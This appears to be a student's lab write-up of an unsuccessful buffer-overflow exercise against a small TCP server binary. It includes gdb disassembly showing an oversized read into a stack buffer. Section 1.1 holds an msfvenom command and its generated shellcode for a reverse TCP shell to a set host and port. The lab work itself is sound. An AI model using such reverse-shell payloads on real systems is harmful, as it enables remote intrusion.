

## Exercise 4 Write-up

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## 1. Basic Buffer overflow

I wasn't able to exploit and get a reverse shell on the binary given to us. Thus this report will demonstrate things I tried and shellcode and script I generated. Partial marking for this exercise is greatly appreciated.

## 1.1. Shellcode generation through msfvenom

I was trying to write my scripts in python. Thus I used the command `msfvenom -p linux/x64/shell_reverse_tcp LHOST=192.168.0.195 LPORT=4444 -f python -b "\x00"`

## Explanation

This command has a `-p` flag which generates a payload of the following kind supplied by the user in this case a linux x86 reverse tcp shell. Then we pass host and port number on which we want to have our reverse shell. Finally we tell it to avoid bad characters by giving a `-b` flag.

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root@kali:~# msfvenom -p linux/x64/shell_reverse_tcp LHOST=192.168.0.195 LPORT=4444 -f python -b "\x00"
[-] No platform was selected, choosing Msf::Module::Platform::Linux from the payload
[-] No arch selected, selecting arch: x64 from the payload
Found 3 compatible encoders
Attempting to encode payload with 1 iterations of x64/xor
x64/xor succeeded with size 119 (iteration=0)
x64/xor chosen with final size 119
Payload size: 119 bytes
Final size of python file: 597 bytes
buf = b""
buf += b"\x48\x31\x09\x48\x81\x09\x06\xff\xff\xff\xff\x48\x8d"
buf += b"\x05\xef\xff\xff\xff\xff\x48\xbb\x54\x52\x01\x02\x05"
buf += b"\x32\x03\xaf\x48\x31\x58\x27\x48\x2d\x08\xff\xff"
buf += b"\xff\x02\x04\x2b\x09\x7b\x06\x38\xac\x05\x55"
buf += b"\x06\x0e\x07\x4d\x05\x0b\x16\x56\x52\x0e\x0b\x05"
buf += b"\x0a\x03\x6c\x05\x1a\x78\x04\x06\x22\x09\x05\x7e"
buf += b"\x0a\x0e\x07\x06\x31\xad\x07\xab\x09\x0b\x03\x5d"
buf += b"\x3d\x06\xda\x02\x38\xca\xba\x09\x7a\x48\x80\x36"
buf += b"\x3b\x09\xcd\x7b\x3a\x03\x0c\x0b\x10\x0b\x52"
buf += b"\x7a\x7a\x49\x5b\x57\x01\x02\x05\x32\x03\x0a"

```

Figure 1. Shellcode for reverse tcp shell

## 1.2. Trying to disassemble the code

I used `gdb` to try and read the assembly code. I found that there was a call to `func`. Which may have something. After main I tried to disassemble `func`. In that I saw a buffer of size `\0x330` being allocated on stack (instruction 3 in screenshot for `func` disassembly). `\0x330` in decimal is 816.

So I found out that buffer being allocated to it was of size 816.

Seeing that before read call the `edx` register had `0xc80` value in it. This is 3200 bytes in decimal. This means that read is happening on more bytes than allocated.

I tried segfaulting it using few scripts but was not able too. But it was segfaulting when writing "bye" on netcat.

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(gdb) disassemble main
Dump of assembler code for function main:
0x00000000000128a <+0>: push    %rbp
0x00000000000128b <+1>: mov     %rsp,%rbp
0x00000000000128e <+4>: sub     $0x40,%rsp
0x000000000001292 <+8>: mov     %edi,-0x34(%rbp)
0x000000000001295 <+11>: mov     %rsi,-0x40(%rbp)
0x000000000001299 <+15>: mov     $0x0,%edx
0x00000000000129e <+20>: mov     $0x1,%esi
0x0000000000012a3 <+25>: mov     $0x2,%edi
0x0000000000012a8 <+30>: call    0x10f0 <socket@plt>
0x0000000000012ad <+35>: mov     %eax,-0x4(%rbp)
0x0000000000012b0 <+38>: cmpl    $0xffffffff,-0x4(%rbp)
0x0000000000012b4 <+42>: jne     0x12cc <main+66>
0x0000000000012b6 <+44>: lea     0xd73(%rip),%rdi    # 0x2030
0x0000000000012bd <+51>: call    0x1040 <puts@plt>
0x0000000000012c2 <+56>: mov     $0x0,%edi
0x0000000000012c7 <+61>: call    0x10e0 <exit@plt>
0x0000000000012cc <+66>: lea     -0x20(%rbp),%rax
0x0000000000012d0 <+70>: movq    $0x0,%rax
0x0000000000012d7 <+77>: movq    $0x0,0x8(%rax)
0x0000000000012df <+85>: movw    $0x2,-0x20(%rbp)
0x0000000000012e5 <+91>: mov     $0x0,%edi
0x0000000000012ea <+96>: call    0x1070 <htonl@plt>
0x0000000000012ef <+101>: mov     %eax,-0x1c(%rbp)
0x0000000000012f2 <+104>: mov     -0x40(%rbp),%rax
0x0000000000012f6 <+108>: add     $0x8,%rax
0x0000000000012fa <+112>: mov     (%rax),%rax
0x0000000000012fd <+115>: mov     %rax,%rdi
0x000000000001300 <+118>: call    0x10d0 <atoi@plt>
0x000000000001305 <+123>: movzwl  %ax,%eax
0x000000000001308 <+126>: mov     %eax,%edi
0x00000000000130a <+128>: call    0x1060 <htons@plt>
0x00000000000130f <+133>: mov     %ax,-0x1e(%rbp)
0x000000000001313 <+137>: lea     -0x20(%rbp),%rcx
0x000000000001317 <+141>: mov     -0x4(%rbp),%eax
0x00000000000131a <+144>: mov     $0x10,%edx
0x00000000000131f <+149>: mov     %rcx,%rsi
0x000000000001322 <+152>: mov     %eax,%edi
0x000000000001324 <+154>: call    0x10b0 <bind@plt>
0x000000000001329 <+159>: test    %eax,%eax
0x00000000000132b <+161>: je       0x1343 <main+185>
0x00000000000132d <+163>: lea     0xd16(%rip),%rdi    # 0x204a
0x000000000001334 <+170>: call    0x1040 <puts@plt>
0x000000000001339 <+175>: mov     $0x0,%edi
0x00000000000133e <+180>: call    0x10e0 <exit@plt>
0x000000000001343 <+185>: mov     -0x4(%rbp),%eax
0x000000000001346 <+188>: mov     $0x5,%esi
0x00000000000134b <+193>: mov     %eax,%edi
0x00000000000134d <+195>: call    0x10a0 <listen@plt>
0x000000000001352 <+200>: test    %eax,%eax
0x000000000001354 <+202>: je       0x136c <main+226>
0x000000000001356 <+204>: lea     0xd03(%rip),%rdi    # 0x2060
0x00000000000135d <+211>: call    0x1040 <puts@plt>
0x000000000001362 <+216>: mov     $0x0,%edi
0x000000000001367 <+221>: call    0x10e0 <exit@plt>

```

Figure 2. main assembly

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0x000000000000136c <+226>: movl $0x10,-0xc(%rbp)
0x0000000000001373 <+233>: lea -0xc(%rbp),%rdx
0x0000000000001377 <+237>: lea -0x30(%rbp),%rcx
0x000000000000137b <+241>: mov -0x4(%rbp),%eax
0x000000000000137e <+244>: mov %rcx,%rsi
0x0000000000001381 <+247>: mov %eax,%edi
0x0000000000001383 <+249>: call 0x10c0 <accept@plt>
0x0000000000001388 <+254>: mov %eax,-0x8(%rbp)
0x000000000000138b <+257>: cmpl $0x0,-0x8(%rbp)
0x000000000000138f <+261>: jns 0x13a7 <main+285>
0x0000000000001391 <+263>: lea 0xcd9(%rip),%rdi # 0x2071
0x0000000000001398 <+270>: call 0x1040 <puts@plt>
0x000000000000139d <+275>: mov $0x0,%edi
0x00000000000013a2 <+280>: call 0x10e0 <exit@plt>
0x00000000000013a7 <+285>: mov -0x8(%rbp),%eax
0x00000000000013aa <+288>: mov %eax,%edi
0x00000000000013ac <+290>: call 0x11f5 <func>
0x00000000000013b1 <+295>: mov -0x8(%rbp),%eax
0x00000000000013b4 <+298>: mov %eax,%edi
0x00000000000013b6 <+300>: call 0x1080 <close@plt>
0x00000000000013bb <+305>: jmp 0x1373 <main+233>
End of assembler dump.
(gdb)

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Figure 3. main assembly

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(gdb) disas func
Dump of assembler code for function func:
0x00000000000011f5 <+0>: push %rbp
0x00000000000011f6 <+1>: mov %rsp,%rbp
0x00000000000011f9 <+4>: sub $0x330,%rsp
0x0000000000001200 <+11>: mov %edi,-0x324(%rbp)
0x0000000000001206 <+17>: lea -0x320(%rbp),%rax
0x000000000000120d <+24>: mov %rax,%rsi
0x0000000000001210 <+27>: mov $0x0,%eax
0x0000000000001215 <+32>: mov $0x190,%edx
0x000000000000121a <+37>: mov %rsi,%rdi
0x000000000000121d <+40>: mov %rdx,%rcx
0x0000000000001220 <+43>: rep stos %rax,%es:(%rdi)
0x0000000000001223 <+46>: lea -0x320(%rbp),%rcx
0x000000000000122a <+53>: mov -0x324(%rbp),%eax
0x0000000000001230 <+59>: mov $0xc80,%edx
0x0000000000001235 <+64>: mov %rcx,%rsi
0x0000000000001238 <+67>: mov %eax,%edi
0x000000000000123a <+69>: call 0x1090 <read@plt>
0x000000000000123f <+74>: lea -0x320(%rbp),%rcx
0x0000000000001246 <+81>: mov -0x324(%rbp),%eax
0x000000000000124c <+87>: mov $0x320,%edx
0x0000000000001251 <+92>: mov %rcx,%rsi
0x0000000000001254 <+95>: mov %eax,%edi
0x0000000000001256 <+97>: call 0x1050 <write@plt>
0x000000000000125b <+102>: lea -0x320(%rbp),%rax
0x0000000000001262 <+109>: mov $0x3,%edx
0x0000000000001267 <+114>: mov %rax,%rsi
0x000000000000126a <+117>: lea 0xd97(%rip),%rdi # 0x2008
0x0000000000001271 <+124>: call 0x1030 <strncmp@plt>
0x0000000000001276 <+129>: test %eax,%eax
0x0000000000001278 <+131>: jne 0x1206 <func+17>
0x000000000000127a <+133>: lea 0xd8f(%rip),%rdi # 0x2010
0x0000000000001281 <+140>: call 0x1040 <puts@plt>
0x0000000000001286 <+145>: nop
0x0000000000001287 <+146>: nop
0x0000000000001288 <+147>: leave
0x0000000000001289 <+148>: ret
End of assembler dump.
(gdb)

```

Figure 4. func assembly

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[sh@mysudazarch:~]$ nc localhost 9000
bye
bye

[sh@mysudazarch:~]$ ./tcpserver-basic 9000
socket bind failed...
[sh@mysudazarch:~]$ ./tcpserver-basic 9000
about to close client...closed
Segmentation fault (core dumped)
[sh@mysudazarch:~]$

```

Figure 5. func assembly